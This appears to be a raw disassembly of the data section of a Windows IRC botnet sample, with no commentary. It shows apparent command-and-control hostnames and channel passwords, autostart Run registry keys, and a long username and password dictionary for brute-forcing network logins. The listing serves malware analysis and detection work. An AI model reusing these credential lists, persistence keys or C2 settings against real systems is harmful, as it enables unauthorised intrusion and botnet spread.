dword_42C180 dd 1B58h ; DATA XREF: sub_40C682+4ACr
dword_42C184 dd 1AA6h ; DATA XREF: sub_40CE55:loc_412647r
dword_42C188 dd 0CCEh ; DATA XREF: sub_407276+3Br
; sub_40CE55+4E69r
dword_42C18C dd 158Dh ; DATA XREF: sub_407276:loc_407525r
; sub_40CE55:loc_411DB0r
dword_42C190 dd 1 ; DATA XREF: sub_40C682+29r
dword_42C194 dd 1 ; DATA XREF: sub_40CE55+662r
dword_42C198 dd 1 ; DATA XREF: sub_409E15+Cr
; sub_40C682:loc_40C9BBr
byte_42C19C db 78h ; DATA XREF: sub_40C1E1:loc_40C1EDr
; sub_40CE55+AF6r ...
align 10h
dword_42C1A0 dd 9 ; DATA XREF: sub_4140C8+2Br
; sub_4140C8+51r ...
dword_42C1A4 dd 1 ; DATA XREF: sub_40CB75+78r
; sub_40CE55+27Cr ...
aIdspp db 'idspp',0 ; DATA XREF: sub_40C682+67o
; sub_40CE55+3D0Fo ...
align 10h
aEnz9_9b db 'enz 9.9b',0 ; DATA XREF: sub_40CE55:loc_41285Fo
align 4
aHi db 'hi',0 ; DATA XREF: sub_40CE55+5B8Do
; sub_40CE55+5C5Co
align 10h
aHome_najd_us db 'home.najd.us',0 ; DATA XREF: sub_40C682+398o
; sub_40C682+451o
align 10h
aDd_0 db '#dd',0 ; DATA XREF: sub_40C682+3B9o
; sub_40C682+467o
aDpass db 'dpass',0 ; DATA XREF: sub_40C682+3D0o
; sub_40C682+479o
align 4
byte_42C1DC db 68h ; DATA XREF: sub_40C682:loc_40CB11r
; sub_40C682+49Do
aOme_paltalkdc_ db 'ome.paltalkdc.com',0
align 10h
aDd_1 db '#dd',0 ; DATA XREF: sub_40C682+4B3o
aDpass_0 db 'dpass',0 ; DATA XREF: sub_40C682+4C5o
align 4
byte_42C1FC db 54h ; DATA XREF: sub_40283D+84o
; sub_403178+Fo ...
db 69h, 6Ch, 65h
dd 706D6F63h, 6F632E63h, 6Dh
dword_42C20C dd 636C6574h, 63706D6Fh, 6C6C642Eh, 0 ; DATA XREF: sub_40211A+3Do
dword_42C21C dd 54204350h, 63656C69h, 6D6Fh ; DATA XREF: sub_40B3AE+Eo
dword_42C228 dd 2D4350h, 656C6954h, 706D6F63h, 6F632E63h, 6Dh ; DATA XREF: sub_4140C8+12o
dword_42C23C dd 692B782Bh, 0 ; DATA XREF: sub_40CE55+5CD5o
dword_42C244 dd 637023h ; DATA XREF: sub_40CE55:loc_40FFA6o
; sub_40CE55+4CCFo ...
dword_42C248 dd 737323h ; DATA XREF: sub_40CE55+1DBBo
dword_42C24C dd 737323h ; DATA XREF: sub_40CE55+1C04o
a78712 db '78712',0 ; DATA XREF: sub_40283D+9Ao
align 4
aDd db 'dd',0 ; DATA XREF: sub_40283D+95o
align 4
aDd_ db 'dd.',0 ; DATA XREF: sub_40283D+90o
off_42C260 dd offset a@room ; DATA XREF: sub_40CE55:loc_412A3Eo
; "*@room"
off_42C264 dd offset aMirc1_6_99 ; DATA XREF: sub_40CE55+8C6r
; sub_40CE55+5C05o
; "mirc 1.6.99"
db 53h
aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
align 4
db 53h
aOftwareMicro_1 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
align 10h
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_4146BA+28o
; sub_4149DE+28o
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_4146BA+D4o
; sub_4149DE+D4o
align 10h
dd offset aAdministrato_0 ; "Administrator"
dd offset aAdministrator ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aStaff ; "staff"
dd offset aRoot ; "root"
dd offset aComputer ; "computer"
dd offset aOwner ; "owner"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aWwwadmin ; "wwwadmin"
dd offset aGuest_0 ; "guest"
dd offset aDefault ; "default"
dd offset aDatabase ; "database"
dd offset aDba ; "dba"
dd offset aOracle ; "oracle"
dd offset aDb2 ; "db2"
dd offset aUser_0 ; "USER"
align 8
off_42C368 dd offset byte_438FBC ; DATA XREF: sub_404F08:loc_404FBDr
; sub_404F08+C2o
dd offset aAdministrato_1 ; "ADMINISTRATOR"
dd offset aAdministrato_0 ; "Administrator"
dd offset aAdministrator ; "administrator"
dd offset aFubar ; "fubar"
dd offset aBla ; "bla"
dd offset aGuest_1 ; "GUEST"
dd offset aRoot_0 ; "ROOT"
dd offset aRoot ; "root"
dd offset aAdmin_0 ; "ADMIN"
dd offset aPassword ; "PASSWORD"
dd offset aTemp ; "TEMP"
dd offset aShare_0 ; "SHARE"
dd offset aWrite ; "WRITE"
dd offset aFull_0 ; "FULL"
dd offset aLadeda ; "ladeda"
dd offset aBoth ; "BOTH"
dd offset aRead ; "READ"
dd offset aFiles ; "FILES"
dd offset aDemo ; "DEMO"
dd offset aOwner_0 ; "OWNER"
dd offset aOwner_1 ; "Owner"
dd offset aEdu ; "edu"
dd offset aTest ; "TEST"
dd offset aAccess ; "ACCESS"
dd offset aUser_0 ; "USER"
dd offset aBackup ; "BACKUP"
dd offset aSystem_0 ; "SYSTEM"
dd offset aServer_1 ; "SERVER"
dd offset aPepsi ; "pepsi"
dd offset aLocal ; "LOCAL"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aChangeme_0 ; "Changeme"
dd offset aTemp123 ; "temp123"
dd offset a1 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a654321 ; "654321"
dd offset a54321 ; "54321"
dd offset a111 ; "111"
dd offset a11111111 ; "11111111"
dd offset a88888888 ; "88888888"
dd offset aPass_0 ; "pass"
dd offset aPasswd ; "passwd"
dd offset aDatabase ; "database"
dd offset aAbcd ; "abcd"
dd offset aAbc123 ; "abc123"
dd offset aOracle ; "oracle"
dd offset aSybase ; "sybase"
dd offset a123qwe ; "123qwe"
dd offset aComputer ; "computer"
dd offset aInternet ; "Internet"
dd offset aSuper ; "super"
dd offset a123asd ; "123asd"
dd offset aIhavenopass ; "ihavenopass"
dd offset aGodblessyou ; "godblessyou"
dd offset aEnable ; "enable"
dd offset aXp_0 ; "xp"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2600 ; "2600"
dd offset a110 ; "110"
dd offset a111111 ; "111111"
dd offset a121212 ; "121212"
dd offset a123123 ; "123123"
dd offset a1234qwer ; "1234qwer"
dd offset a123abc ; "123abc"
dd offset a007 ; "007"
dd offset aAlpha ; "alpha"
dd offset aPatrick ; "patrick"
dd offset aPat ; "pat"
dd offset aSex_0 ; "sex"
dd offset aGod ; "god"
dd offset aFoobar ; "foobar"
dd offset aNilez ; "Nilez"
dd offset aDevil ; "devil"
dd offset aNetdevil ; "netdevil"
dd offset aNetDevil ; "net-devil"
dd offset a0wned ; "0wned"
dd offset aOwned ; "owned"
dd offset aIrule ; "irule"
dd offset aNetfuck ; "netfuck"
dd offset aFucked ; "fucked"
dd offset aCrash ; "crash"
dd offset aA_1 ; "a"
dd offset aAaa ; "aaa"
dd offset aAbc ; "abc"
dd offset aTest123 ; "test123"
dd offset aWin ; "win"
dd offset aPc ; "pc"
dd offset aAsdf ; "asdf"
dd offset aSecret ; "secret"
dd offset aQwer ; "qwer"
dd offset aYxcv ; "yxcv"
dd offset aZxcv ; "zxcv"
dd offset aHome ; "home"
dd offset aLogin ; "login"
dd offset aPwd ; "pwd"
dd offset aLove ; "love"
dd offset aMypc ; "mypc"
dd offset aMypc123 ; "mypc123"
dd offset aAdmin123 ; "admin123"
dd offset aPw123 ; "pw123"
dd offset aMypass ; "mypass"
dd offset aMypass123 ; "mypass123"
dd offset aPw ; "pw"
dd offset aMat ; "Mat"
dd offset aMatt ; "Matt"
dd offset aMatthew ; "Matthew"
dd offset aGobo ; "gobo"
dd offset aSatan ; "satan"
dd offset aSatanik ; "satanik"
dd offset aSatanic ; "satanic"
dd offset aSpaceman ; "spaceman"
dd offset aHeaven ; "heaven"
dd offset aW00t ; "w00t"
dd offset a0wn3d ; "0wn3d"
dd offset aKiller ; "killer"
dd offset aLeet ; "leet"
dd offset aL33t ; "l33t"
dd offset aL337 ; "l337"
dd offset aHacker ; "hacker"
dd offset aHax0r ; "hax0r"
dd offset aScript ; "script"
dd offset aScriptkiddie ; "scriptkiddie"
dd offset aKiddie ; "kiddie"
dd offset aMirc_0 ; "mirc"
dd offset aUwontguessme ; "uwontguessme"
dd offset aYouwontguessme ; "youwontguessme"
dd offset aGuessme ; "guessme"
dd offset asc_432C64 ; "x"
dd offset aXx ; "xx"
dd offset aXxx ; "xxx"
dd offset aXxxx ; "xxxx"
dd offset aXxxxx ; "xxxxx"
dd offset aXxxxxx ; "xxxxxx"
dd offset aXxxxxxx ; "xxxxxxx"
dd offset aXxxxxxxx ; "xxxxxxxx"
dd offset aXxxxxxxxx ; "xxxxxxxxx"
dd offset dword_4263F0
dd offset a00 ; "00"
dd offset aDeath ; "death"
dd offset aTesting ; "testing"
dd offset a000 ; "000"
dd offset a0000 ; "0000"
dd offset a00000 ; "00000"
dd offset a000000 ; "000000"
dd offset aAcademia ; "academia"
dd offset aAcademic ; "academic"
dd offset aAccept ; "accept"
dd offset aAccount ; "account"
dd offset aAction ; "action"
dd offset aAdam ; "adam"
dd offset aAdrian ; "adrian"
dd offset aAdrianna ; "adrianna"
dd offset aAdult ; "adult"
dd offset aAerobics ; "aerobics"
dd offset aAids ; "aids"
dd offset aAirplane ; "airplane"
dd offset aAlaska ; "alaska"
dd offset aAlbany ; "albany"
dd offset aAlbatros ; "albatros"
dd offset aAlbert ; "albert"
dd offset aAlert ; "alert"
dd offset aAlex ; "alex"
dd offset aAlexande ; "alexande"
dd offset aAlgebra ; "algebra"
dd offset aAlias ; "alias"
dd offset aAliases ; "aliases"
dd offset aAlice ; "alice"
dd offset aAlicia ; "alicia"
dd offset aAlisa ; "alisa"
dd offset aAlison ; "alison"
dd offset aAllison ; "allison"
dd offset aAllow ; "allow"
dd offset aAlphabet ; "alphabet"
dd offset aAmadeus ; "amadeus"
dd offset aAmanda ; "amanda"
dd offset aAmber ; "amber"
dd offset aAmerica ; "america"
dd offset aAmorphou ; "amorphou"
dd offset aAnal ; "anal"
dd offset aAnalog ; "analog"
dd offset aAnarchis ; "anarchis"
dd offset aAnarchy ; "anarchy"
dd offset aAnchor ; "anchor"
dd offset aAndrea ; "andrea"
dd offset aAndroid ; "android"
dd offset aAndromac ; "andromac"
dd offset aAndy ; "andy"
dd offset aAnfo ; "anfo"
dd offset aAngela ; "angela"
dd offset aAngerine ; "angerine"
dd offset aAngie ; "angie"
dd offset aAnimal ; "animal"
dd offset aAnimals ; "animals"
dd offset aAnita ; "anita"
dd offset aAnna ; "anna"
dd offset aAnne ; "anne"
dd offset aAnnette ; "annette"
dd offset aAnon ; "anon"
dd offset aAnonymou ; "anonymou"
dd offset aAnswer ; "answer"
dd offset aAnthrax ; "anthrax"
dd offset aAnthropo ; "anthropo"
dd offset aAnvils ; "anvils"
dd offset aAnything ; "anything"
dd offset aApollo13 ; "apollo13"
dd offset aApril ; "april"
dd offset aAria ; "aria"
dd offset aAriadne ; "ariadne"
dd offset aArlene ; "arlene"
dd offset aArmy ; "army"
dd offset aArrow ; "arrow"
dd offset aArthur ; "arthur"
dd offset aArtist ; "artist"
dd offset aAsian ; "asian"
dd offset aAsshole ; "asshole"
dd offset aAthena ; "athena"
dd offset aAtmosphe ; "atmosphe"
dd offset aAtom ; "atom"
dd offset aAttack ; "attack"
dd offset aAuthoriz ; "authoriz"
dd offset aAztecs ; "aztecs"
dd offset aAzure ; "azure"
dd offset aBabe ; "babe"
dd offset aBaby ; "baby"
dd offset aBacchus ; "bacchus"
dd offset aBackdoor ; "backdoor"
dd offset aBadass ; "badass"
dd offset aBailey ; "bailey"
dd offset aBall ; "ball"
dd offset aBanana ; "banana"
dd offset aBananas ; "bananas"
dd offset aBandit ; "bandit"
dd offset aBank ; "bank"
dd offset aBanks ; "banks"
dd offset aBarbara ; "barbara"
dd offset aBarber ; "barber"
dd offset aBare ; "bare"
dd offset aBarf ; "barf"
dd offset aBaritone ; "baritone"
dd offset aBart ; "bart"
dd offset aBartman ; "bartman"
dd offset aBaseball ; "baseball"
dd offset aBasic ; "basic"
dd offset aBass ; "bass"
dd offset aBassoon ; "bassoon"
dd offset aBatch ; "batch"
dd offset aBatman ; "batman"
dd offset aBeach ; "beach"
dd offset aBeammeup ; "beammeup"
dd offset aBear ; "bear"
dd offset aBeast ; "beast"
dd offset aBeater ; "beater"
dd offset aBeauty ; "beauty"
dd offset aBeaver ; "beaver"
dd offset aBecky ; "becky"
dd offset aBeethove ; "beethove"
dd offset aBegin ; "begin"
dd offset aBehead ; "behead"
dd offset aBell ; "bell"
dd offset aBeloved ; "beloved"
dd offset aBenz ; "benz"
dd offset aBeowulf ; "beowulf"
dd offset aBerkeley ; "berkeley"
dd offset aBerlin ; "berlin"
dd offset aBerliner ; "berliner"
dd offset aBeryl ; "beryl"
dd offset aBeta ; "beta"
dd offset aBeth ; "beth"
dd offset aBetsie ; "betsie"
dd offset aBetty ; "betty"
dd offset aBeverly ; "beverly"
dd offset aBible ; "bible"
dd offset aBicamera ; "bicamera"
dd offset aBigfoot ; "bigfoot"
dd offset aBill ; "bill"
dd offset aBinary ; "binary"
dd offset aBios ; "bios"
dd offset aBird ; "bird"
dd offset aBishop ; "bishop"
dd offset aBitch ; "bitch"
dd offset aBitmap ; "bitmap"
dd offset aBitnet ; "bitnet"
dd offset aBlack ; "black"
dd offset aBlonde ; "blonde"
dd offset aBlondie ; "blondie"
dd offset aBlood ; "blood"
dd offset aBloodaxe ; "bloodaxe"
dd offset aBlow ; "blow"
dd offset aBlowjob ; "blowjob"
dd offset aBlue ; "blue"
dd offset aBlues ; "blues"
dd offset aBoard ; "board"
dd offset aBomb ; "bomb"
dd offset aBoner ; "boner"
dd offset aBoob ; "boob"
dd offset aBoobs ; "boobs"
dd offset aBook ; "book"
dd offset aBorn ; "born"
dd offset aBoyscout ; "boyscout"
dd offset aBradley ; "bradley"
dd offset aBrandi ; "brandi"
dd offset aBrandy ; "brandy"
dd offset aBravo ; "bravo"
dd offset aBreak ; "break"
dd offset aBreast ; "breast"
dd offset aBrenda ; "brenda"
dd offset aBrian ; "brian"
dd offset aBridget ; "bridget"
dd offset aBroadway ; "broadway"
dd offset aBrothel ; "brothel"
dd offset aBrunette ; "brunette"
dd offset aBrute ; "brute"
dd offset aBrutefor ; "brutefor"
dd offset aBulls ; "bulls"
dd offset aBullshit ; "bullshit"
dd offset aBumbling ; "bumbling"
dd offset aBung ; "bung"
dd offset aBurgess ; "burgess"
dd offset aBurn ; "burn"
dd offset aButch ; "butch"
dd offset aButt ; "butt"
dd offset aButthead ; "butthead"
dd offset aCaliforn ; "californ"
dd offset aCamille ; "camille"
dd offset aCampanil ; "campanil"
dd offset aCamping ; "camping"
dd offset aCandi ; "candi"
dd offset aCandy ; "candy"
dd offset aCantor ; "cantor"
dd offset aCaptain ; "captain"
dd offset aCapture ; "capture"
dd offset aCard ; "card"
dd offset aCardinal ; "cardinal"
dd offset aCaren ; "caren"
dd offset aCarla ; "carla"
dd offset aCarmen ; "carmen"
dd offset aCarol ; "carol"
dd offset aCarole ; "carole"
dd offset aCarolina ; "carolina"
dd offset aCaroline ; "caroline"
dd offset aCarrie ; "carrie"
dd offset aCarson ; "carson"
dd offset aCascades ; "cascades"
dd offset aCash ; "cash"
dd offset aCastle ; "castle"
dd offset aCatherin ; "catherin"
dd offset aCatholic ; "catholic"
dd offset aCathy ; "cathy"
dd offset aCave ; "cave"
dd offset aCayuga ; "cayuga"
dd offset aCecily ; "cecily"
dd offset aCelt ; "celt"
dd offset aCeltic ; "celtic"
dd offset aCeltics ; "celtics"
dd offset aCerulean ; "cerulean"
dd offset aChange ; "change"
dd offset aCharity ; "charity"
dd offset aCharles ; "charles"
dd offset aCharlie ; "charlie"
dd offset aCharming ; "charming"
dd offset aCharon ; "charon"
dd offset aChat_0 ; "chat"
dd offset aChem ; "chem"
dd offset aChemistr ; "chemistr"
dd offset aChess ; "chess"
dd offset aChester ; "chester"
dd offset aChip ; "chip"
dd offset aChris ; "chris"
dd offset aChristin ; "christin"
dd offset aChristy ; "christy"
dd offset aCigar ; "cigar"
dd offset aCigarett ; "cigarett"
dd offset aCindy ; "cindy"
dd offset aClass ; "class"
dd offset aClasses ; "classes"
dd offset aClassic ; "classic"
dd offset aClaudia ; "claudia"
dd offset aClaymore ; "claymore"
dd offset aCleavage ; "cleavage"
dd offset aClinton ; "clinton"
dd offset aCluster ; "cluster"
dd offset aClusters ; "clusters"
dd offset aCoast ; "coast"
dd offset aCocacola ; "cocacola"
dd offset aCocainco ; "cocainco"
dd offset aCock ; "cock"
dd offset aCode ; "code"
dd offset aCodename ; "codename"
dd offset aCodeword ; "codeword"
dd offset aCoffee ; "coffee"
dd offset aCoin ; "coin"
dd offset aCoke ; "coke"
dd offset aCola ; "cola"
dd offset aCold ; "cold"
dd offset aCollins ; "collins"
dd offset aColor ; "color"
dd offset aCombat ; "combat"
dd offset aComics ; "comics"
dd offset aCommit ; "commit"
dd offset aCommrade ; "commrade"
dd offset aCompany ; "company"
dd offset aComputin ; "computin"
dd offset aComrade ; "comrade"
dd offset aComrades ; "comrades"
dd offset aCondo ; "condo"
dd offset aCondom ; "condom"
dd offset aConnect ; "connect"
dd offset aConnie ; "connie"
dd offset aConserva ; "conserva"
dd offset aConsole ; "console"
dd offset aContinue ; "continue"
dd offset aCook ; "cook"
dd offset aCookbook ; "cookbook"
dd offset aCookie ; "cookie"
dd offset aCool ; "cool"
dd offset aCooper ; "cooper"
dd offset aCopper ; "copper"
dd offset aCops ; "cops"
dd offset aCopy ; "copy"
dd offset aCorneliu ; "corneliu"
dd offset aCorrect ; "correct"
dd offset aCounters ; "counters"
dd offset aCountry ; "country"
dd offset aCouscous ; "couscous"
dd offset aCowboy ; "cowboy"
dd offset aCrack ; "crack"
dd offset aCrackpot ; "crackpot"
dd offset aCream ; "cream"
dd offset aCreate ; "create"
dd offset aCreation ; "creation"
dd offset aCreature ; "creature"
dd offset aCredit ; "credit"
dd offset aCreosote ; "creosote"
dd offset aCretin ; "cretin"
dd offset aCrime ; "crime"
dd offset aCriminal ; "criminal"
dd offset aCristina ; "cristina"
dd offset aCrystal ; "crystal"
dd offset aCshrc ; "cshrc"
dd offset aCunt ; "cunt"
dd offset aCustomer ; "customer"
dd offset aCyber ; "cyber"
dd offset aCyberpun ; "cyberpun"
dd offset aCyberspa ; "cyberspa"
dd offset aCynthia ; "cynthia"
dd offset aDaemon ; "daemon"
dd offset aDaisy ; "daisy"
dd offset aDana ; "dana"
dd offset aDancer ; "dancer"
dd offset aDaniel ; "daniel"
dd offset aDanielle ; "danielle"
dd offset aDanny ; "danny"
dd offset aDapper ; "dapper"
dd offset aDark ; "dark"
dd offset aDarkaven ; "darkaven"
dd offset aData ; "data"
dd offset aDave ; "dave"
dd offset aDawn ; "dawn"
dd offset aDead ; "dead"
dd offset aDeathsta ; "deathsta"
dd offset aDebbie ; "debbie"
dd offset aDeborah ; "deborah"
dd offset aDebug ; "debug"
dd offset aDecember ; "december"
dd offset aDeck ; "deck"
dd offset aDefault ; "default"
dd offset aDefault_0 ; "DEFAULT"
dd offset aDefoe ; "defoe"
dd offset aDelta ; "delta"
dd offset aDeluge ; "deluge"
dd offset aDemocrat ; "democrat"
dd offset aDenise ; "denise"
dd offset aDennis ; "dennis"
dd offset aDesiree ; "desiree"
dd offset aDesk ; "desk"
dd offset aDesktop ; "desktop"
dd offset aDesperat ; "desperat"
dd offset aDevelop ; "develop"
dd offset aDevice ; "device"
dd offset aDial ; "dial"
dd offset aDiamond ; "diamond"
dd offset aDiana ; "diana"
dd offset aDiane ; "diane"
dd offset aDice ; "dice"
dd offset aDick ; "dick"
dd offset aDiehard ; "diehard"
dd offset aDiet ; "diet"
dd offset aDieter ; "dieter"
dd offset aDigital ; "digital"
dd offset aDinosaur ; "dinosaur"
dd offset aDipshit ; "dipshit"
dd offset aDirect ; "direct"
dd offset aDirector ; "director"
dd offset aDirty ; "dirty"
dd offset aDisc ; "disc"
dd offset aDiscipli ; "discipli"
dd offset aDisclose ; "disclose"
dd offset aDiscover ; "discover"
dd offset aDisk_0 ; "disk"
dd offset aDiskette ; "diskette"
dd offset aDisney ; "disney"
dd offset aDisplay ; "display"
dd offset aDoctor ; "doctor"
dd offset aDollar ; "dollar"
dd offset aDong ; "dong"
dd offset aDoom ; "doom"
dd offset aDoom2 ; "doom2"
dd offset aDoomii ; "doomii"
dd offset aDoomsday ; "doomsday"
dd offset aDoonesbu ; "doonesbu"
dd offset aDoor ; "door"
dd offset aDoors ; "doors"
dd offset aDope ; "dope"
dd offset aDownload ; "download"
dd offset aDragon ; "dragon"
dd offset aDrdoom ; "drdoom"
dd offset aDrive ; "drive"
dd offset aDrought ; "drought"
dd offset aDuck ; "duck"
dd offset aDude ; "dude"
dd offset aDuelist ; "duelist"
dd offset aDuke ; "duke"
dd offset aDulce ; "dulce"
dd offset aDuncan ; "duncan"
dd offset aDungeon ; "dungeon"
dd offset aDyke ; "dyke"
dd offset aEager ; "eager"
dd offset aEagle ; "eagle"
dd offset aEarth ; "earth"
dd offset aEasier ; "easier"
dd offset aEasy ; "easy"
dd offset aEatme ; "eatme"
dd offset aEcho ; "echo"
dd offset aEddie ; "eddie"
dd offset aEdges ; "edges"
dd offset aEdinburg ; "edinburg"
dd offset aEdit ; "edit"
dd offset aEdition ; "edition"
dd offset aEducation ; "education"
dd offset aEducatio ; "educatio"
dd offset aEdwin ; "edwin"
dd offset aEdwina ; "edwina"
dd offset aEgghead ; "egghead"
dd offset aEiderdow ; "eiderdow"
dd offset aEileen ; "eileen"
dd offset aEinsiein ; "einsiein"
dd offset aEinstein ; "einstein"
dd offset aElaine ; "elaine"
dd offset aElanor ; "elanor"
dd offset aElectron ; "electron"
dd offset aElephant ; "elephant"
dd offset aElizabet ; "elizabet"
dd offset aEllen ; "ellen"
dd offset aEmail ; "email"
dd offset aEmerald ; "emerald"
dd offset aEmily ; "emily"
dd offset aEmmanuel ; "emmanuel"
dd offset aEnemy ; "enemy"
dd offset aEngine ; "engine"
dd offset aEngineer ; "engineer"
dd offset aEngland ; "england"
dd offset aEnglish ; "english"
dd offset aEnter ; "enter"
dd offset aEnterpri ; "enterpri"
dd offset aEnzyme ; "enzyme"
dd offset aErenity ; "erenity"
dd offset aEric ; "eric"
dd offset aErica ; "erica"
dd offset aErika ; "erika"
dd offset aErin ; "erin"
dd offset aErotic ; "erotic"
dd offset aErsatz ; "ersatz"
dd offset aEstablis ; "establis"
dd offset aEstate ; "estate"
dd offset aEternity ; "eternity"
dd offset aEuclid ; "euclid"
dd offset aEvelyn ; "evelyn"
dd offset aExpert ; "expert"
dd offset aExplode ; "explode"
dd offset aExplore ; "explore"
dd offset aExplorer ; "explorer"
dd offset aExplosiv ; "explosiv"
dd offset aExtensio ; "extensio"
dd offset aFairway ; "fairway"
dd offset aFaith ; "faith"
dd offset aFalcon ; "falcon"
dd offset aFalse ; "false"
dd offset aFamily ; "family"
dd offset aFarad ; "farad"
dd offset aFaraday ; "faraday"
dd offset aFart ; "fart"
dd offset aFast ; "fast"
dd offset aFear ; "fear"
dd offset aFeds ; "feds"
dd offset aFelicia ; "felicia"
dd offset aFender ; "fender"
dd offset aFermat ; "fermat"
dd offset aFerrari ; "ferrari"
dd offset aFidelity ; "fidelity"
dd offset aField ; "field"
dd offset aFight ; "fight"
dd offset aFile ; "file"
dd offset aFinite ; "finite"
dd offset aFire ; "fire"
dd offset aFirewall ; "firewall"
dd offset aFishers ; "fishers"
dd offset aFlakes ; "flakes"
dd offset aFloat ; "float"
dd offset aFlorida ; "florida"
dd offset aFlower ; "flower"
dd offset aFlowers ; "flowers"
dd offset aFood ; "food"
dd offset aFool ; "fool"
dd offset aFoolproo ; "foolproo"
dd offset aFootball ; "football"
dd offset aForce ; "force"
dd offset aFord ; "ford"
dd offset aForesigh ; "foresigh"
dd offset aForever ; "forever"
dd offset aForm ; "form"
dd offset aFormat ; "format"
dd offset aFornicat ; "fornicat"
dd offset aForsythe ; "forsythe"
dd offset aFourier ; "fourier"
dd offset aFoxtrot ; "foxtrot"
dd offset aFrance ; "france"
dd offset aFrank ; "frank"
dd offset aFreak ; "freak"
dd offset aFred ; "fred"
dd offset aFree ; "free"
dd offset aFreedom ; "freedom"
dd offset aFrench ; "french"
dd offset aFriday ; "friday"
dd offset aFriend ; "friend"
dd offset aFriends ; "friends"
dd offset aFrighten ; "frighten"
dd offset aFrog ; "frog"
dd offset aFryguy ; "fryguy"
dd offset aFuck ; "fuck"
dd offset aFucker ; "fucker"
dd offset aFucking ; "fucking"
dd offset aFuckme ; "fuckme"
dd offset aFuckyou ; "fuckyou"
dd offset aFudge ; "fudge"
dd offset aFunction ; "function"
dd offset aFungible ; "fungible"
dd offset aGabriel ; "gabriel"
dd offset aGames ; "games"
dd offset aGardner ; "gardner"
dd offset aGarfield ; "garfield"
dd offset aGateway ; "gateway"
dd offset aGatherin ; "gatherin"
dd offset aGatt ; "gatt"
dd offset aGauss ; "gauss"
dd offset aGeorge ; "george"
dd offset aGerm ; "germ"
dd offset aGertrude ; "gertrude"
dd offset aGhost ; "ghost"
dd offset aGibson ; "gibson"
dd offset aGigabyte ; "gigabyte"
dd offset aGina ; "gina"
dd offset aGinger ; "ginger"
dd offset aGirl ; "girl"
dd offset aGlacier ; "glacier"
dd offset aGold ; "gold"
dd offset aGolden ; "golden"
dd offset aGolf ; "golf"
dd offset aGolfer ; "golfer"
dd offset aGood ; "good"
dd offset aGorgeous ; "gorgeous"
dd offset aGorges ; "gorges"
dd offset aGosling ; "gosling"
dd offset aGouge ; "gouge"
dd offset aGovermen ; "govermen"
dd offset aGrades ; "grades"
dd offset aGraham ; "graham"
dd offset aGrahm ; "grahm"
dd offset aGrand ; "grand"
dd offset aGrant ; "grant"
dd offset aGreat ; "great"
dd offset aGreen ; "green"
dd offset aGroup ; "group"
dd offset aGryphon ; "gryphon"
dd offset aGuardian ; "guardian"
dd offset aGucci ; "gucci"
dd offset aGuess ; "guess"
dd offset aGuitar ; "guitar"
dd offset aGumption ; "gumption"
dd offset aGuntis ; "guntis"
dd offset aHack ; "hack"
dd offset aHacked ; "hacked"
dd offset aHagar ; "hagar"
dd offset aHair ; "hair"
dd offset aHallowee ; "hallowee"
dd offset aHamlet ; "hamlet"
dd offset aHamster ; "hamster"
dd offset aHandel ; "handel"
dd offset aHandily ; "handily"
dd offset aHandjob ; "handjob"
dd offset aHappenin ; "happenin"
dd offset aHard ; "hard"
dd offset aHardcore ; "hardcore"
dd offset aHarddriv ; "harddriv"
dd offset aHarmony ; "harmony"
dd offset aHarold ; "harold"
dd offset aHarvey ; "harvey"
dd offset aHate ; "hate"
dd offset aHaven ; "haven"
dd offset aHawaii ; "hawaii"
dd offset aHead ; "head"
dd offset aHeadbang ; "headbang"
dd offset aHeat ; "heat"
dd offset aHeathen ; "heathen"
dd offset aHeather ; "heather"
dd offset aHebrides ; "hebrides"
dd offset aHeidi ; "heidi"
dd offset aHeinlein ; "heinlein"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aHelp ; "help"
dd offset aHerb ; "herb"
dd offset aHerbert ; "herbert"
dd offset aHero ; "hero"
dd offset aHeroin ; "heroin"
dd offset aHewlett ; "hewlett"
dd offset aHexadeci ; "hexadeci"
dd offset aHiawatha ; "hiawatha"
dd offset aHibernia ; "hibernia"
dd offset aHidden ; "hidden"
dd offset aHigh ; "high"
dd offset aHighland ; "highland"
dd offset aHitler ; "hitler"
dd offset aHits ; "hits"
dd offset aHole ; "hole"
dd offset aHolly ; "holly"
dd offset aHollywoo ; "hollywoo"
dd offset aHomepage ; "homepage"
dd offset aHomer ; "homer"
dd offset aHomework ; "homework"
dd offset aHoney ; "honey"
dd offset aHooker ; "hooker"
dd offset aHooters ; "hooters"
dd offset aHorny ; "horny"
dd offset aHorrible ; "horrible"
dd offset aHorror ; "horror"
dd offset aHorse ; "horse"
dd offset aHorus ; "horus"
dd offset aHost ; "host"
dd offset aHotdog ; "hotdog"
dd offset aHotel ; "hotel"
dd offset aHttp_0 ; "http"
dd offset aHunt ; "hunt"
dd offset aHunter ; "hunter"
dd offset aHutchins ; "hutchins"
dd offset aHydrogen ; "hydrogen"
dd offset aHyper ; "hyper"
dd offset aHypertxt ; "hypertxt"
dd offset aIcecream ; "icecream"
dd offset aIllumina ; "illumina"
dd offset aImage ; "image"
dd offset aImbrogli ; "imbrogli"
dd offset aImmortal ; "immortal"
dd offset aImperial ; "imperial"
dd offset aInclude ; "include"
dd offset aIndia ; "india"
dd offset aIndian ; "indian"
dd offset aIndiana ; "indiana"
dd offset aIndians ; "indians"
dd offset aIngres ; "ingres"
dd offset aIngress ; "ingress"
dd offset aIngrid ; "ingrid"
dd offset aInna ; "inna"
dd offset aInnocuou ; "innocuou"
dd offset aInput ; "input"
dd offset aInside ; "inside"
dd offset aInteger ; "integer"
dd offset aInvent ; "invent"
dd offset aIrene ; "irene"
dd offset aIrishman ; "irishman"
dd offset aIsis ; "isis"
dd offset aJackie ; "jackie"
dd offset aJail ; "jail"
dd offset aJane ; "jane"
